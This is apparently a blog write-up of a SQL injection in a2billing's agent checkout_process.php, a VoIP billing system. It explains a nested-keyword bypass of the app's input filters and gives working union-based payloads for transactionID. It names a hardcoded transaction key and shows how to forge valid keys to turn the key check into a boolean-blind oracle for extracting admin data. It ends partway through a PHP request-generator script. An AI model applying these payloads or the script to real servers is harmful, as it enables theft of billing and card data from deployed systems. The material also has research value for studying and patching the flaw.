Intro
A2B , Asterisk2billing , a2billing . . etc , the official website describe it as a
free and open source software for Asterisk, providing telecoms customer management including admin, agent, customer and online signup pages, with flexible inline rating and billing of calls and services in real time
a2billing is deployed by long list of voip companies and come by default with various voip distros , eg. and not limited to Elastix
A2b team is working hard to deliver a free open source and yet premium quality product with almost no real revenue (for a2b users , consider donations , It really worth it) , that’s why I will give them enough time to release updates and fix their stuff
a2billing is really nice tool with beautiful , easy and helpful interface which really seem to be secured enough from the 1st sight
I mean when you look around the source code with these too many hardening / sanitation functions you be like
But why be in a rush!! We got the time , smoked salmon and coffee , a lot of coffee
so get your coffee , tea , weed or whatever make your eyes 15KM wide and let’s start
Hardening and sanitization
Good point , that’s what we should look for in the 1st place let’s start from scratch ,
File : common/lib/protect_sqli.php
<?php
function array_map_recursive( $func, $arr )
{
$newArr = array();
if (!$arr) {
return $newArr;
}
foreach ($arr as $key => $value) {
$newArr[ $key ] = ( is_array( $value ) ? array_map_recursive( $func, $value ) : $func( $value ) );
}
return $newArr;
}
function recursive_filter($arr)
{
$newArr = array();
foreach ($arr as $key => $value) {
if (is_array($value)) {
$newArr[ $key ] = recursive_filter( $value );
} else {
if (filter_var($value, FILTER_SANITIZE_STRING) !== false) {
$newArr[ $key ] = $value;
} else {
$newArr[ $key ] = filter_var($value, FILTER_SANITIZE_STRING);
}
}
}
return $newArr;
}
// Clean up POST, GET, and COOKIES vars.
if (!get_magic_quotes_gpc()) {
$_POST = array_map_recursive('stripslashes',$_POST);
$_GET = array_map_recursive('stripslashes', $_GET);
$_COOKIE = array_map_recursive('stripslashes', $_COOKIE);
}
if (!function_exists('mysql_real_escape_string')) {
// $_POST = array_map_recursive('mysql_real_escape_string',$_POST);
// $_GET = array_map_recursive('mysql_real_escape_string', $_GET);
// $_COOKIE = array_map_recursive('mysql_real_escape_string', $_COOKIE);
} else {
$_POST = array_map_recursive('addslashes',$_POST);
$_GET = array_map_recursive('addslashes', $_GET);
$_COOKIE = array_map_recursive('addslashes', $_COOKIE);
}
$_POST = recursive_filter($_POST);
$_GET = recursive_filter($_GET);
$_COOKIE = recursive_filter($_COOKIE);
Code language: PHP (php)
The old fashioned sql injection protection stuff , to protect it , escape it Great , so basically what’s happening here is that any GET , POST , COOKIE inputs are being escaped before even being passed to any file Not bad , but still by-passable All queries are being processed through ExecuteQuery function located at Class.table.php
<?php
public function ExecuteQuery($DBHandle, $QUERY, $cache = 0)
{
global $A2B;
if ($this->writelog) {
$time_start = microtime(true);
}
if ($A2B->config["database"]['dbtype'] == 'postgres') {
// convert MySQLisms to be Postgres compatible
$this->mytopg->My_to_Pg($QUERY);
} else {
// the MySQL schema takes care of case-insensitivity
$QUERY = preg_replace('/([[:space:]]+)I(LIKE[[:space:]]+)/i', '\1\2', $QUERY);
}
if ($this->debug_st) echo $this->start_message_debug . $QUERY . $this->end_message_debug;
if ($cache > 0) {
$res = $DBHandle->CacheExecute($cache, $QUERY);
} else {
$start = $this->getTime();
$res = $DBHandle->Execute($QUERY);
$this->query_handler->queryCount += 1;
$this->logQuery($QUERY, $start);
}
if ($DBHandle->ErrorNo() != 0) {
$this->errstr = $DBHandle->ErrorMsg();
if ($this->debug_st)
echo $DBHandle->ErrorMsg();
if ($this->debug_st_stop)
exit;
}
if ($this->writelog) {
$time_end = microtime(true);
$time = $time_end - $time_start;
}
if ($this->writelog) {
if ($time > $this->alert_query_time) {
if ($time > $this->alert_query_long_time)
$A2B->debug(WARN, false, __FILE__, __LINE__, "EXTRA_TOOLONG_DB_QUERY - RUNNING TIME = $time");
else
$A2B->debug(WARN, false, __FILE__, __LINE__, "TOOLONG_DB_QUERY - RUNNING TIME = $time");
}
$A2B->debug(DEBUG, false, __FILE__, __LINE__, "Running time=$time - QUERY=\n$QUERY\n");
}
return $res;
}
Code language: PHP (php)
the function itself have no protection , so If we passed nice payload to the function It will be executed without problems
going back to the escaping stuff , we will need to find some part of the code in which there is no quoted query
select blah from whatever where blahid=$am_vulnerable;Code language: plaintext (plaintext)No quotes , we wont care about escaping , and it’s done
Vulnerability
by quick files viewing I found agent/public/checkout_process.php
Code snip
getpost_ifset(array('transactionID', 'sess_id', 'key', 'mc_currency', 'currency', 'md5sig', 'merchant_id', 'mb_amount', 'status', 'mb_currency',
'transaction_id', 'mc_fee', 'card_number'));
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."EPAYMENT : transactionID=$transactionID - transactionKey=$key \n -POST Var \n".print_r($_POST, true));
if ($sess_id =="") {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ERROR NO SESSION ID PROVIDED IN RETURN URL TO PAYMENT MODULE");
exit();
}
if ($transactionID == "") {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." NO TRANSACTION ID PROVIDED IN REQUEST");
exit();
}
include '../lib/agent.module.access.php';
include '../lib/Form/Class.FormHandler.inc.php';
include '../lib/epayment/classes/payment.php';
include '../lib/epayment/classes/order.php';
include '../lib/epayment/classes/currencies.php';
include '../lib/epayment/includes/general.php';
include '../lib/epayment/includes/html_output.php';
include '../lib/epayment/includes/configure.php';
include '../lib/epayment/includes/loadconfiguration.php';
$DBHandle_max = DbConnect();
$paymentTable = new Table();
if (DB_TYPE == "postgres") {
$NOW_2MIN = " creationdate <= (now() - interval '2 minute') ";
} else {
$NOW_2MIN = " creationdate <= DATE_SUB(NOW(), INTERVAL 2 MINUTE) ";
}
// Status - New 0 ; Proceed 1 ; In Process 2
$QUERY = "SELECT id, agent_id, amount, vat, paymentmethod, cc_owner, cc_number, cc_expires, creationdate, status, cvv, credit_card_type, currency " .
" FROM cc_epayment_log_agent " .
" WHERE id = ".$transactionID." AND (status = 0 OR (status = 2 AND $NOW_2MIN))";
$transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);
Code language: PHP (php)
Look what I’ve found!! Line 73 is exactly what I needed
Unquoted query , with a manipulable parameter , trying couple payloads and Problem solved!!!
If it was that easy I wouldn’t even bother myself writing that post , right?!
More hardening
A2B is getting input fields through getpost_ifset function
function getpost_ifset($test_vars)
{
if (!is_array($test_vars)) {
$test_vars = array (
$test_vars
);
}
foreach ($test_vars as $test_var) {
if (isset ($_POST[$test_var])) {
global $$test_var;
$$test_var = $_POST[$test_var];
} elseif (isset ($_GET[$test_var])) {
global $$test_var;
$$test_var = $_GET[$test_var];
}
if (isset($$test_var)) {
$$test_var = sanitize_data($$test_var);
//rebuild the search parameter to filter character to format card number
if ($test_var == 'username' || $test_var == 'filterprefix') {
//rebuild the search parameter to filter character to format card number
$filtered_char = array (
" ",
"-",
"_",
"(",
")",
"/",
"\\"
);
$$test_var = str_replace($filtered_char, "", $$test_var);
}
}
}
}
Code language: PHP (php)
Aha , line 363 sanitize_data
In the same file
function sanitize_data($input)
{
if (is_array($input)) {
// Sanitize Array
foreach ($input as $var => $val) {
$output[$var] = sanitize_data($val);
}
} else {
// Remove whitespaces (not a must though)
$input = trim($input);
$input = str_replace('--', '', $input);
$input = str_replace('..', '', $input);
$input = str_replace(';', '', $input);
$input = str_replace('/*', '', $input);
// Injection sql
$input = str_ireplace('HAVING', '', $input);
$input = str_ireplace('UNION', '', $input);
$input = str_ireplace('SUBSTRING', '', $input);
$input = str_ireplace('ASCII', '', $input);
$input = str_ireplace('SHA1', '', $input);
#MD5 is used by md5secret
#$input = str_ireplace('MD5', '', $input);
$input = str_ireplace('ROW_COUNT', '', $input);
$input = str_ireplace('SELECT', '', $input);
$input = str_ireplace('INSERT', '', $input);
$input = str_ireplace('CASE WHEN', '', $input);
$input = str_ireplace('INFORMATION_SCHEMA', '', $input);
$input = str_ireplace('DROP', '', $input);
$input = str_ireplace('RLIKE', '', $input);
$input = str_ireplace(' IF', '', $input);
$input = str_ireplace(' OR ', '', $input);
$input = str_ireplace('\\', '', $input);
//$input = str_ireplace('DELETE', '', $input);
$input = str_ireplace('CONCAT', '', $input);
$input = str_ireplace('WHERE', '', $input);
$input = str_ireplace('UPDATE', '', $input);
$input = str_ireplace(' or 1', '', $input);
$input = str_ireplace(' or true', '', $input);
//Permutation - in mailing admin/Public/A2B_entity_mailtemplate.php
// we use url with key=$loginkey$
$input = str_ireplace('=$', '+$', $input);
$input = str_ireplace('=', '', $input);
$input = str_ireplace('+$', '=$', $input);
if (get_magic_quotes_gpc()) {
$input = stripslashes($input);
}
$input = sanitize_tag($input);
$output = addslashes($input);
}
return $output;
}Code language: PHP (php)and
function sanitize_tag($input)
{
$search = array (
'@<script[^>]*?>.*?</script>@si', // Strip out javascript
'@<[\/\!]*?[^<>]*?>@si', // Strip out HTML tags
'@<style[^>]*?>.*?</style>@siU', // Strip style tags properly
'@<![\s\S]*?--[ \t\n\r]*>@' // Strip multi-line comments
);
$output = preg_replace($search, '', $input);
return $output;
}Code language: PHP (php)
Actually nth to explain , every single string which can be used in sqli is being removed via replacing it with “” which mean if the input was transactionID=456789 or 1=1– –
it will be queried as transactionID=45678911 –
which make no risk at all
Bypass
sensitization is not that strong after all , the function is sanitize each input twice , replacing risky strings with nth , so let’s put risky string inside risky string inside risky string so the 1st risky string is replaced the the 2nd risky string is replaced and we will have our last original risky string left!!
for instance
$input = str_replace('--', '', $input);
$input = str_replace('..', '', $input);
$input = str_replace(';', '', $input);
$input = str_replace('/*', '', $input);Code language: PHP (php)If we need to add the — comment , all we need to do is to set the input value to -//**-
which will be proceed as following -//**- ———[1st replacement will remove /* ]——-> –/*– ————–[2nd replacement will remove another /*]—–> only — is left
same for the rest of the strings , just pick up a later string to replace inside the one you want
for instance
$input = str_ireplace('RLIKE', '', $input);
$input = str_ireplace(' IF', '', $input);
$input = str_ireplace(' OR ', '', $input);
$input = str_ireplace('\\', '', $input);
//$input = str_ireplace('DELETE', '', $input);
$input = str_ireplace('CONCAT', '', $input);
$input = str_ireplace('WHERE', '', $input);Code language: PHP (php)If i want to use or inside the query , I can not use o i iffr , because the if will be replaced twice and then or will also get removed
Instead we would use owhewhererer
so transactionID=456789 or 0x4148>benchmark(1,md5(0x4148))– –
would become transactionID=456789 oWHEUPDATEREr 0x4148>benchmark(1,md5(0x4148))-//**- –
so testing final payload will result in
And by increasing benchmark to 1 million we get 3.5 seconds delay
Filters bypassed ,
Time for real exploitation
Exploitation
using time based technique isn’t an option at all , stressing the target server that much with tons of benchmark queries is not the best options and can be only used when there is no alternative, so let’s try to convert this to Boolean based exploit back to checkout_process.php file
<?php
if (!is_array($transaction_data) && count($transaction_data) == 0) {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).
' line:'.__LINE__."- transactionID=$transactionID"." ERROR INVALID TRANSACTION ID PROVIDED, TRANSACTION ID =".$transactionID);
exit();
} else {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).
' line:'.__LINE__."- transactionID=$transactionID"." EPAYMENT RESPONSE: TRANSACTIONID = ".$transactionID.
" FROM ".$transaction_data[0][4]."; FOR CUSTOMER ID ".$transaction_data[0][1]."; OF AMOUNT ".$transaction_data[0][2]);
}
$security_verify = true;
$transaction_detail = base64_encode(serialize($_POST));
$currencyObject = new currencies();
$currencies_list = get_currencies();
switch ($transaction_data[0][4]) {
case "paypal":
$currCurrency = $mc_currency;
if ($A2B->config['epayment_method']['charge_paypal_fee']==1) {
$currAmount = $transaction_data[0][2] ;
} else {
$currAmount = $transaction_data[0][2] - $mc_fee;
}
$postvars = array();
$req = 'cmd=_notify-validate';
foreach ($_POST as $vkey => $Value) {
$req .= "&" . $vkey . "=" . urlencode ($Value);
}
// Check amount is correct
if (intval($amount) != intval($_POST['mc_gross'])){
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__." -Amount Paypal is not matching");
$security_verify = false;
sleep(3);
}
// Headers PayPal system to validate
$header .= "POST /cgi-bin/webscr HTTP/1.1\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Host: www.paypal.com\r\n";
$header .= "Content-Length: " . strlen ($req) . "\r\n\r\n";
for ($i = 1; $i <=3; $i++) {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-OPENDING HTTP CONNECTION TO ".PAYPAL_VERIFY_URL);
$fp = fsockopen (PAYPAL_VERIFY_URL, 443, $errno, $errstr, 30);
if ($fp) {
break;
} else {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__." -Try#".$i." Failed to open HTTP Connection : ".$errstr.". Error Code: ".$errno);
sleep(3);
}
}
if (!$fp) {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-Failed to open HTTP Connection: ".$errstr.". Error Code: ".$errno);
exit();
} else {
fputs ($fp, $header . $req);
$flag_ver = 0;
while (!feof($fp)) {
$res = fgets ($fp, 1024);
if (strcmp ($res, "VERIFIED") == 0) {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-PAYPAL Transaction Verification Status: Verified ");
$flag_ver = 1;
}
}
if ($flag_ver == 0) {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-PAYPAL Transaction Verification Status: Failed ");
$security_verify = false;
}
}
fclose ($fp);
break;
case "moneybookers":
$currAmount = $transaction_data[0][2];
$sec_string = $merchant_id.$transaction_id.strtoupper(md5(MONEYBOOKERS_SECRETWORD)).$mb_amount.$mb_currency.$status;
$sig_string = strtoupper(md5($sec_string));
if ($sig_string == $md5sig) {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-MoneyBookers Transaction Verification Status: Verified | md5sig =".$md5sig." Reproduced Signature = ".$sig_string." Generated String = ".$sec_string);
} else {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-MoneyBookers Transaction Verification Status: Failed | md5sig =".$md5sig." Reproduced Signature = ".$sig_string." Generated String = ".$sec_string);
$security_verify = false;
}
$currCurrency = $currency;
break;
case "authorizenet":
$currAmount = $transaction_data[0][2];
$currCurrency = BASE_CURRENCY;
break;
case "plugnpay":
if (substr($card_number,0,4) != substr($transaction_data[0][6],0,4)) {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- PlugNPay Error : First 4digits of the card doesn't match with the one stored.");
}
$currCurrency = BASE_CURRENCY;
$currAmount = $transaction_data[0][2];
$currAmount_usd = convert_currency($currencies_list, $currAmount, BASE_CURRENCY, 'USD');
$pnp_post_values = array(
'publisher-name' => MODULE_PAYMENT_PLUGNPAY_LOGIN,
'mode' => 'auth',
'ipaddress' => $_SERVER['REMOTE_ADDR'],
// Metainfo
'convert' => 'underscores',
'easycart' => '1',
'shipinfo' => '1',
'authtype' => MODULE_PAYMENT_PLUGNPAY_CCMODE,
'paymethod' => MODULE_PAYMENT_PLUGNPAY_PAYMETHOD,
'dontsndmail' => MODULE_PAYMENT_PLUGNPAY_DONTSNDMAIL,
// Card Info
'card_number' => $card_number,
'card-name' => $transaction_data[0][5],
'card-amount' => $currAmount_usd,
'card-exp' => $transaction_data[0][7],
'cc-cvv' => $transaction_data[0][10]
);
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- PlugNPay Value Sent : \n\n".print_r($pnp_post_values, true));
// init curl handle
$pnp_ch = curl_init(PLUGNPAY_PAYMENT_URL);
curl_setopt($pnp_ch, CURLOPT_RETURNTRANSFER, 1);
$http_query = http_build_query( $pnp_post_values );
curl_setopt($pnp_ch, CURLOPT_POSTFIELDS, $http_query);
#curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // Upon problem, uncomment for additional Windows 2003 compatibility
// perform ssl post
$pnp_result_page = curl_exec($pnp_ch);
parse_str( $pnp_result_page, $pnp_transaction_array );
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- PlugNPay Result : \n\n".print_r($pnp_transaction_array, true));
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- RESULT : ".$pnp_transaction_array['FinalStatus']);
// $pnp_transaction_array['FinalStatus'] = 'badcard';
//echo "<pre>".print_r ($pnp_transaction_array, true)."</pre>";
$transaction_detail = serialize($pnp_transaction_array);
break;
default:
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-NO SUCH EPAYMENT FOUND");
exit();
}
Code language: PHP (php)
the previous injected query result is being checked if being array or not , if not the php will exit and terminate the rest of script execution
if yes it will proceed with the execution flaw by switching $transaction_data[0][4] and doing some stuff later
<?php
if (empty($transaction_data[0]['vat']) || !is_numeric($transaction_data[0]['vat'])){
$VAT = 0;
} else {
$VAT = $transaction_data[0]['vat'];
}
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."curr amount $currAmount $currCurrency BASE_CURRENCY=".BASE_CURRENCY);
$amount_paid = convert_currency($currencies_list, $currAmount, $currCurrency, BASE_CURRENCY);
$amount_without_vat = $amount_paid / (1+$VAT/100);
//If security verification fails then send an email to administrator as it may be a possible attack on epayment security.
if ($security_verify == false) {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- security_verify == False | END");
try {
//TODO: create mail class for agent
$mail = new Mail('epaymentverify',null);
} catch (A2bMailException $e) {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ERROR NO EMAIL TEMPLATE FOUND");
exit();
}
$mail->replaceInEmail(Mail::$TIME_KEY,date("y-m-d H:i:s"));
$mail->replaceInEmail(Mail::$PAYMENTGATEWAY_KEY, $transaction_data[0][4]);
$mail->replaceInEmail(Mail::$ITEM_AMOUNT_KEY, $amount_paid.$currCurrency);
// Add Post information / useful to track down payment transaction without having to log
$mail->AddToMessage("\n\n\n\n"."-POST Var \n".print_r($_POST, true));
$mail ->send(ADMIN_EMAIL);
exit();
}
$newkey = securitykey(EPAYMENT_TRANSACTION_KEY, $transaction_data[0][8]."^".$transactionID."^".$transaction_data[0][2]."^".$transaction_data[0][1]);
if ($newkey == $key) {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."----------- Transaction Key Verified ------------");
} else {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."----NEW KEY =".$newkey." OLD KEY= ".$key." ------- Transaction Key Verification Failed:".$transaction_data[0][8]."^".$transactionID."^".$transaction_data[0][2]."^".$transaction_data[0][1]." ------------\n");
exit();
}
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ---------- TRANSACTION INFO ------------\n".print_r($transaction_data,1));
$payment_modules = new payment($transaction_data[0][4]);
Code language: PHP (php)
oOps , the script create a key based on our input + sql output and compare it to another key based on the pre-defined EPAYMENT_TRANSACTION_KEY value
<?php
function securitykey($key, $data)
{
// RFC 2104 HMAC implementation for php.
// Creates an md5 HMAC.
// Eliminates the need to install mhash to compute a HMAC
// Hacked by Lance Rushing
$b = 64; // byte length for md5
if (strlen($key) > $b) {
$key = pack("H*", md5($key));
}
$key = str_pad($key, $b, chr(0x00));
$ipad = str_pad('', $b, chr(0x36));
$opad = str_pad('', $b, chr(0x5c));
$k_ipad = $key ^ $ipad;
$k_opad = $key ^ $opad;
return md5($k_opad . pack("H*", md5($k_ipad . $data)));
}Code language: PHP (php)Lucky us EPAYMENT_TRANSACTION_KEY is the same at all a2billing versions and is not being changed at all which always equal asdf1212fasd121554sd4f5s45sdf assuming that we got a good key and bypassed the exit() part
<?php
$payment_modules = new payment($transaction_data[0][4]);
// load the before_process function from the payment modules
//$payment_modules->before_process();
$QUERY = "SELECT id, credit, lastname, firstname, address, city, state, country, zipcode, phone, email, fax, currency " .
"FROM cc_agent WHERE id = '".$transaction_data[0][1]."'";
$resmax = $DBHandle_max -> Execute($QUERY);
if ($resmax) {
$numrow = $resmax -> RecordCount();
} else {
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ERROR NO SUCH CUSTOMER EXISTS, CUSTOMER ID = ".$transaction_data[0][1]);
exit(gettext("No Such Customer exists."));
}
$customer_info = $resmax -> fetchRow();
$nowDate = date("Y-m-d H:i:s");
$pmodule = $transaction_data[0][4];
$orderStatus = $payment_modules->get_OrderStatus();
$Query = "INSERT INTO cc_payments_agent ( agent_id, agent_name, agent_email_address, item_name, item_id, item_quantity, payment_method, cc_type, cc_owner, cc_number, " .
" cc_expires, orders_status, last_modified, date_purchased, orders_date_finished, orders_amount, currency, currency_value) values (" .
" '".$transaction_data[0][1]."', '".$customer_info[3]." ".$customer_info[2]."', '".$customer_info["email"]."', 'balance', '".
$customer_info[0]."', 1, '$pmodule', '".$_SESSION["p_cardtype"]."', '".$transaction_data[0][5]."', '".$transaction_data[0][6]."', '".
$transaction_data[0][7]."', $orderStatus, '".$nowDate."', '".$nowDate."', '".$nowDate."', ".$amount_paid.", '".$currCurrency."', '".
$currencyObject->get_value($currCurrency)."' )";
$result = $DBHandle_max -> Execute($Query);
//************************UPDATE THE CREDIT IN THE CARD***********************
$id = $customer_info[0];
if ($id > 0) {
$addcredit = $transaction_data[0][2];
$instance_table = new Table("cc_agent", "");
$param_update .= " credit = credit + '".$amount_without_vat."'";
$FG_EDITION_CLAUSE = " id='$id'";
$instance_table -> Update_table ($DBHandle, $param_update, $FG_EDITION_CLAUSE, $func_table = null);
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." Update_table cc_card : $param_update - CLAUSE : $FG_EDITION_CLAUSE");
$field_insert = "date, credit, agent_id, description";
$value_insert = "'$nowDate', '".$amount_without_vat."', '$id', '".$transaction_data[0][4]."'";
$instance_sub_table = new Table("cc_logrefill_agent", $field_insert);
$id_logrefill = $instance_sub_table -> Add_table ($DBHandle, $value_insert, null, null, 'id');
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." Add_table cc_logrefill : $field_insert - VALUES $value_insert");
$field_insert = "date, payment, agent_id, id_logrefill, description";
$value_insert = "'$nowDate', '".$amount_paid."', '$id', '$id_logrefill', '".$transaction_data[0][4]."'";
$instance_sub_table = new Table("cc_logpayment_agent", $field_insert);
$id_payment = $instance_sub_table -> Add_table ($DBHandle, $value_insert, null, null,"id");
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." Add_table cc_logpayment : $field_insert - VALUES $value_insert");
}
$_SESSION["p_amount"] = null;
$_SESSION["p_cardexp"] = null;
$_SESSION["p_cardno"] = null;
$_SESSION["p_cardtype"] = null;
$_SESSION["p_module"] = null;
$_SESSION["p_module"] = null;
//Update the Transaction Status to 1 (Proceed 1)
$QUERY = "UPDATE cc_epayment_log_agent SET status=1, transaction_detail='".addslashes($transaction_detail)."' WHERE id = ".$transactionID;
$paymentTable->SQLExec ($DBHandle_max, $QUERY);
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- QUERY = $QUERY");
switch ($orderStatus) {
case -2:
$statusmessage = "Failed";
break;
case -1:
$statusmessage = "Denied";
break;
case 0:
$statusmessage = "Pending";
break;
case 1:
$statusmessage = "In-Progress";
break;
case 2:
$statusmessage = "Successful";
break;
}
if ( ($orderStatus != 2) && ($transaction_data[0][4]=='plugnpay')) {
Header ("Location: checkout_payment.php?payment_error=plugnpay&error=The+payment+couldnt+be+proceed+correctly!");
die();
}
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS = ".$statusmessage);
// load the after_process function from the payment modules
$payment_modules->after_process();
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS ID = ".$orderStatus." ".$statusmessage);
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ----EPAYMENT TRANSACTION END----");
if ($transaction_data[0][4]=='plugnpay') {
Header ("Location: agentinfo.php");
die;
}
Code language: PHP (php)
The most line we really care about is line 94,95 why? because it’s the only way to indicate if the injection query is true or false let’s enum the steps we need to take and get it done one by one
- making sure that our injection payload result in an array
- Bypass the exit at line 226
- getting through the key validation
- making sure that $resmax value at line 273 != null

1st the query will result in an array if we used union based injection transactionID=45678911111 unise//**lecton selinse//**rtect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-//**- -&sess_id=4148 will result in an array , so we 1st problem is solved
2nd , the exit() at line 226 , this can be easily solved by setting $transaction_data[0][4] to any predefined string , eg. authorizenet
query would be like
transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x617574686f72697a656e6574,6,7,8,9,10,11,12,13-//**- -&sess_id=4148Code language: plaintext (plaintext)Problem solved
Now with the 3rd one , the key stuff actually we will depend a lot on that key to determine if our query is successfull or not the key encryption format is
$transaction_data[0][8].”^”.$transactionID.”^”.$transaction_data[0][2].”^”.$transaction_data[0][1]Code language: plaintext (plaintext)which in our case will be Exactly
authorizenet9^456789111111 union select 1,2,3,4,0x617574686f72697a656e6574,6,7,8,9,10,11,12,13– -^3^2Code language: plaintext (plaintext)If we used the encryption function to encrypt these data using the key “asdf1212fasd121554sd4f5s45sdf” we will get “d5b020a7114699b40b4a513c309034a5” which is the true key value
Let’s stop here for a minute
as noticed the key data value is $transaction_data[0][8].”^”.$transactionID.”^”.$transaction_data[0][2].”^”.$transaction_data[0][1]
We have control over $transaction_data , mean we can use it to execute an inner query
eg. transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x617574686f72697a656e6574,6,7,8,(selinse//**rtect(version())),10,11,12,13-//**- -&sess_id=4148
The key input will be
5.0.95^456789111111 union select 1,2,3,4,0x617574686f72697a656e6574,6,7,8,version(),10,11,12,13– -^3^2
Keep this on your mind for later
Let’s go through the last Problem , controlling the redirection/termination flow
<?php
if ( ($orderStatus != 2) && ($transaction_data[0][4]=='plugnpay')) {
Header ("Location: checkout_payment.php?payment_error=plugnpay&error=The+payment+couldnt+be+proceed+correctly!");
die();
}
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS = ".$statusmessage);
// load the after_process function from the payment modules
$payment_modules->after_process();
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS ID = ".$orderStatus." ".$statusmessage);
write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ----EPAYMENT TRANSACTION END----");
if ($transaction_data[0][4]=='plugnpay') {
Header ("Location: agentinfo.php");
die;
}
Code language: PHP (php)
Both lines 349 , 361 will work for us , we just need to change $transaction_data[0][4] to plugnpay
so query will just be
transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,9,10,11,12,13-//**- -&sess_id=4148Code language: plaintext (plaintext)Blinding it
The previous query will exactly equal key value 636902c6ed0db5780eb613d126e95268 If we passed this key value to the request
transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,9,10,11,12,13-//**- -&sess_id=4148&key=636902c6ed0db5780eb613d126e95268Code language: plaintext (plaintext)Response will be

Great , Redirection occured because that our query + query output matched the key we provided we will take this advantage to exploit this flaw using boolean based technique
Return to passing the key part , We will provide an inner query , say that substring((select username from admins),1,1) is truely equal to a
- in our request we will add that inner query
- and in OUR encryption function we will provide an ‘a‘ instead
- taking the key resulting from step 2
- Passing that key value with the request on step 1
- If the ‘a’ we provided on step 2 is true , a redirection will occur , If not true , redirection wont take place
using this we will be able to extract all data we need Let’s give this a try
Using the following php code we can generate full request based on our wanted query
<?php
$x=$_POST['query'];
$y=$_POST['rez'];
function securitykey($key, $data)
{
$b = 64;
if (strlen($key) > $b) {
$key = pack("H*", md5($key));
}
$key = str_pad($key, $b, chr(0x00));
$ipad = str_pad('', $b, chr(0x36));
$opad = str_pad('', $b, chr(0x5c));
$k_ipad = $key ^ $ipad;
$k_opad = $key ^ $opad;
return md5($k_opad . pack("H*", md5($k_ipad . $data)));
}
function sanitize_tag($input)
{
$search = array (
'@<script[^>]*?>.*?</script>@si', // Strip out javascript
'@<[\/\!]*?[^<>]*?>@si', // Strip out HTML tags
'@<style[^>]*?>.*?</style>@siU', // Strip style tags properly
'@<![\s\S]*?--[ \t\n\r]*>@' // Strip multi-line comments
);
$output = preg_replace($search, '', $input);
return $output;
}
/*
* function sanitize_data
*/
function sanitize_data($input)
{
if (is_array($input)) {
// Sanitize Array
foreach ($input as $var => $val) {
$output[$var] = sanitize_data($val);
}
} else {
// Remove whitespaces (not a must though)
$input = trim($input);
$input = str_replace('--', '', $input);
$input = str_replace('..', '', $input);
$input = str_replace(';', '', $input);
$input = str_replace('/*', '', $input);
// Injection sql
$input = str_ireplace('HAVING', '', $input);
$input = str_ireplace('UNION', '', $input);
$input = str_ireplace('SUBSTRING', '', $input);
$input = str_ireplace('ASCII', '', $input);
$input = str_ireplace('SHA1', '', $input);
#MD5 is used by md5secret
#$input = str_ireplace('MD5', '', $input);
$input = str_ireplace('ROW_COUNT', '', $input);
$input = str_ireplace('SELECT', '', $input);
$input = str_ireplace('INSERT', '', $input);
$input = str_ireplace('CASE WHEN', '', $input);
$input = str_ireplace('INFORMATION_SCHEMA', '', $input);
$input = str_ireplace('DROP', '', $input);
$input = str_ireplace('RLIKE', '', $input);
$input = str_ireplace(' IF', '', $input);
$input = str_ireplace(' OR ', '', $input);
$input = str_ireplace('\\', '', $input);
//$input = str_ireplace('DELETE', '', $input);
$input = str_ireplace('CONCAT', '', $input);
$input = str_ireplace('WHERE', '', $input);
